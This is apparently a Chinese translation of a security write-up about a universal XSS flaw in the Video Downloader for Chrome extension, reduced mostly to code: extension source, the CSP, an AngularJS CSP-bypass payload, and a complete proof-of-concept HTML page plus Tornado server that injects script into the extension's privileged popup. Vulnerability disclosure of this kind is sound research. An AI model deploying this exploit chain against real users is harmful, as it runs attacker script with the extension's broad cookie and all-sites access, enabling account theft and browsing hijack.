2019-02-28 14:36:301899人阅读
"permissions": [ "alarms", "contextMenus", "privacy", "storage", "cookies", "tabs", "unlimitedStorage", "webNavigation", "webRequest", "webRequestBlocking", "http://*/*", "https://*/*", "notifications" ],
vd.createDownloadSection = function(videoData) { return '<li> \ <a href="' + videoData.url + '" target="_blank"></a> \ <div title="' + videoData.fileName + '">' + videoData.fileName + '</div> \ <a href="' + videoData.url + '" data-file-name="' + videoData.fileName + videoData.extension + '">Download - ' + Math.floor(videoData.size * 100 / 1024 / 1024) / 100 + ' MB</a>\ <div></div>\ </li>'; };
vd.getVideoLinks = function(node) { // console.log(node); var videoLinks = []; $(node) .find('a') .each(function() { var link = $(this).attr('href'); var videoType = vd.getVideoType(link); if (videoType) { videoLinks.push({ url: link, fileName: vd.getLinkTitleFromNode($(this)), extension: '.' + videoType }); } }); $(node) .find('video') .each(function() { // console.log(this); var nodes = []; // console.log($(this).attr('src')); $(this).attr('src') ? nodes.push($(this)) : void 0; // console.log(nodes); $(this) .find('source') .each(function() { nodes.push($(this)); }); nodes.forEach(function(node) { var link = node.attr('src'); if (!link) { return; } var videoType = vd.getVideoType(link); videoLinks.push({ url: link, fileName: vd.getLinkTitleFromNode(node), extension: '.' + videoType }); }); }); return videoLinks; };
vd.findVideoLinks = function(node) { var videoLinks = []; switch (window.location.host) { case 'vimeo.com': vd.sendVimeoVideoLinks(); break; case 'www.youtube.com': break; default: videoLinks = vd.getVideoLinks(node); } vd.sendVideoLinks(videoLinks); };
vd.init = function() { vd.findVideoLinks(document.body); }; vd.init();
chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) { switch (request.message) { case 'add-video-links': if (typeof sender.tab === 'undefined') { break; } vd.addVideoLinks(request.videoLinks, sender.tab.id, sender.tab.url); break; case 'get-video-links': sendResponse(vd.getVideoLinksForTab(request.tabId)); break; case 'download-video-link': vd.downloadVideoLink(request.url, request.fileName); break; case 'show-youtube-warning': vd.showYoutubeWarning(); break; default: break; } });
vd.addVideoLinks = function(videoLinks, tabId, tabUrl) { ...为保证简洁,省略一部分代码... videoLinks.forEach(function(videoLink) { // console.log(videoLink); videoLink.fileName = vd.getFileName(videoLink.fileName); vd.addVideoLinkToTab(videoLink, tabId, tabUrl); }); };
vd.getFileName = function(str) { // console.log(str); var regex = /[A-Za-z0-9()_ -]/; var escapedStr = ''; str = Array.from(str); str.forEach(function(char) { if (regex.test(char)) { escapedStr += char; } }); return escapedStr; };
vd.addVideoLinkToTab = function(videoLink, tabId, tabUrl) { ...trimmed for brevity... if (!videoLink.size) { console.log('Getting size from server for ' + videoLink.url); vd.getVideoDataFromServer(videoLink.url, function(videoData) { videoLink.size = videoData.size; vd.addVideoLinkToTabFinalStep(tabId, videoLink); }); } else { vd.addVideoLinkToTabFinalStep(tabId, videoLink); } };
vd.getVideoDataFromServer = function(url, callback) { var request = new XMLHttpRequest(); request.onreadystatechange = function() { if (request.readyState === 2) { callback({ mime: this.getResponseHeader('Content-Type'), size: this.getResponseHeader('Content-Length') }); request.abort(); } }; request.open('Get', url); request.send(); };
vd.addVideoLinkToTabFinalStep = function(tabId, videoLink) { // console.log("Trying to add url "+ videoLink.url); if (!vd.isVideoLinkAlreadyAdded( vd.tabsData[tabId].videoLinks, videoLink.url ) && videoLink.size > 1024 && vd.isVideoUrl(videoLink.url) ) { vd.tabsData[tabId].videoLinks.push(videoLink); vd.updateExtensionIcon(tabId); } };
!vd.isVideoLinkAlreadyAdded( vd.tabsData[tabId].videoLinks, videoLink.url ) && videoLink.size > 1024 && vd.isVideoUrl(videoLink.url)
...为保证简洁,省略一部分代码... def make_app(): return tornado.web.Application([ ...为保证简洁,省略一部分代码... (r"/.*", WildcardHandler), ]) ...为保证简洁,省略一部分代码... class WildcardHandler(tornado.web.RequestHandler): def get(self): self.set_header("Content-Type", "video/x-flv") self.write( ("A" * 2048 ) ) ...为保证简洁,省略一部分代码...
vd.videoFormats = { mp4: { type: 'mp4' }, flv: { type: 'flv' }, mov: { type: 'mov' }, webm: { type: 'webm' } }; vd.isVideoUrl = function(url) { var isVideoUrl = false; Object.keys(vd.videoFormats).some(function(format) { if (url.indexOf(format) != -1) { isVideoUrl = true; return true; } }); return isVideoUrl; };
$(document).ready(function() { var videoList = $("#video-list"); chrome.tabs.query({ active: true, currentWindow: true }, function(tabs) { console.log(tabs); vd.sendMessage({ message: 'get-video-links', tabId: tabs[0].id }, function(tabsData) { console.log(tabsData); if (tabsData.url.indexOf('youtube.com') != -1) { vd.sendMessage({ message: 'show-youtube-warning' }); return } var videoLinks = tabsData.videoLinks; console.log(videoLinks); if (videoLinks.length == 0) { $("#no-video-found").css('display', 'block'); videoList.css('display', 'none'); return } $("#no-video-found").css('display', 'none'); videoList.css('display', 'block'); videoLinks.forEach(function(videoLink) { videoList.append(vd.createDownloadSection(videoLink)); }) }); }); $('body').on('click', '.download-button', function(e) { e.preventDefault(); vd.sendMessage({ message: 'download-video-link', url: $(this).attr('href'), fileName: $(this).attr('data-file-name') }); }); });
script-src 'self' https://www.google-analytics.com https://ssl.google-analytics.com https://apis.google.com https://ajax.googleapis.com; style-src 'self' 'unsafe-inline' 'unsafe-eval'; connect-src *; object-src 'self'
script-src 'self' https://www.google-analytics.com https://ssl.google-analytics.com https://apis.google.com https://ajax.googleapis.com
https://www.google-analytics.com https://ssl.google-analytics.com https://apis.google.com https://ajax.googleapis.com
"ng-app ng-csp><base href=//ajax.googleapis.com/ajax/libs/><script src=angularjs/1.0.1/angular.js></script><script src=prototype/1.7.2.0/prototype.js></script>\{\{$on.curry.call().alert(1337
"ng-app ng-csp><script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js></script><script src=https://ajax.googleapis.com/ajax/libs/prototype/1.7.2.0/prototype.js></script>\{\{$on.curry.call().alert('XSS in Video Downloader for Chrome by mandatory')\}\}<!—
"web_accessible_resources": [ "*" ]
<!DOCTYPE html> <html> <body> <a href="https://"ng-app ng-csp><script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js></script><script src=https://ajax.googleapis.com/ajax/libs/prototype/1.7.2.0/prototype.js></script>\{\{$on.curry.call().alert('XSS in Video Downloader for Chrome by mandatory')\}\}<!--.flv">test</a> <iframe src="about:blank" id="poc"></iframe> <script> setTimeout(function() { document.getElementById( "poc" ).setAttribute( "src", "chrome-extension://dcfofgiombegngbaofkeebiipcdgpnga/html/popup.html" ); }, 1000); </script> </body> </html>
import tornado.ioloop import tornado.web class MainHandler(tornado.web.RequestHandler): def get(self): self.write(""" <!DOCTYPE html> <html> <body> <a href="https://"ng-app ng-csp><script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js></script><script src=https://ajax.googleapis.com/ajax/libs/prototype/1.7.2.0/prototype.js></script>\{\{$on.curry.call().alert('XSS in Video Downloader for Chrome by mandatory')\}\}<!--.flv">test</a> <iframe src="about:blank" id="poc"></iframe> <script> setTimeout(function() { document.getElementById( "poc" ).setAttribute( "src", "chrome-extension://dcfofgiombegngbaofkeebiipcdgpnga/html/popup.html" ); }, 1000); </script> </body> </html> """) class WildcardHandler(tornado.web.RequestHandler): def get(self): self.set_header("Content-Type", "video/x-flv") self.write( ("A" * 2048 ) ) def make_app(): return tornado.web.Application([ (r"/", MainHandler), (r"/.*", WildcardHandler), ]) if __name__ == "__main__": app = make_app() app.listen(8888) tornado.ioloop.IOLoop.current().start()
本文翻译自:https://thehackerblog.com/video-download-uxss-exploit-detailed/
翻译作者:41yf1sh 原文地址:https://www.4hou.com/web/16390.html